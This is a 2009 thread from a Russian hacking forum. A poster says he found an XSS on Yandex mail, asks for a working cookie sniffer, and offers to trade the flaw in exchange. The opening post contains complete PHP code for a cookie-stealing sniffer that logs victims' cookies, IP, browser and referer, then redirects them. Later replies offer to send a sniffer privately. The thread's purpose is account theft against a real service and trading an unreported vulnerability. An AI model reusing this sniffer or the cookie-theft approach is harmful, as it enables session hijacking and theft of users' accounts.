HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
Перезагрузить страницу Активная xss на Яндекс
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Активная xss на Яндекс
  #1  
Старый 26.09.2009, 21:41
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами: 9083308

Репутация: 719
По умолчанию Активная xss на Яндекс
нашел полуактивную xss на яндекс. Пытаюсь подставить сниффер, не получается, вернее при запросе (document.cookie) все кукисы выдаются, а при замене запроса на сниффер, кукисы на сниффер не приходят.

Готов поделиться xss с тем, кто подскажет работающий сниффер для яндекса (поделюсь xss после проверки снифа), использовал стандартный от Kaniq и этот сниф, но кукисы не пришли

PHP код:
<?PHP  
$Cookies = UrlDecode(getenv("QUERY_STRING"));  
$Date = date("d-m-y H:i:s", time());  
$browser = getenv("HTTP_USER_AGENT");  
$ref = getenv("HTTP_REFERER");      
$ip = getenv("REMOTE_ADDR");  
$text = " 
$Cookies:  
$Date:  
$browser:  
$ref:  
$ip:  
$query";  

$filelog = fopen("base.php","a+");  
fwrite($filelog,"\n $text \n"); 
fclose($filelog);  
header('Location: http://somesite.ru');     
?>
На майле сниффер работает, на яндексе не работает.

Подсказка сниффера тут, помощь в реализации в аську.
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось satana-fu; 28.09.2009 в 15:42..
 
Ответить с цитированием

  #2  
Старый 27.09.2009, 17:43
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию
Цитата:
На майле сниффер работает, на яндексе не работает.
ну и как там может быть?)) ты скорей всего неправильно составил свою xss, тя гдето фильтры режут.
 
Ответить с цитированием

  #3  
Старый 27.09.2009, 18:57
Neogan
Banned
Регистрация: 26.09.2009
Сообщений: 76
С нами: 8749826

Репутация: 0
По умолчанию
в личку черкни отличный сниф кину
 
Ответить с цитированием

  #4  
Старый 28.09.2009, 01:08
JOHNik
Познающий
Регистрация: 21.04.2009
Сообщений: 58
С нами: 8976725

Репутация: 34
По умолчанию
Цитата:
Сообщение от satana-fu  
На майле сниффер работает, на яндексе не работает.
.
Снифферу пох где работать, надо уметь пользоваться просто )
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss для новичков Micr0b Уязвимости 79 06.07.2018 22:05
[Продам] Яндекс. Активная XSS. brain[pillow] Разное - Покупка, продажа, обмен 3 08.02.2010 21:42
Яндекс vs Google: Дaвид против Голиaфa bender123 Мировые новости. Обсуждения. 14 27.06.2009 15:20
Активная XSS на mail.ru Dronga Уязвимости Mail-сервис 69 05.04.2008 01:56
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.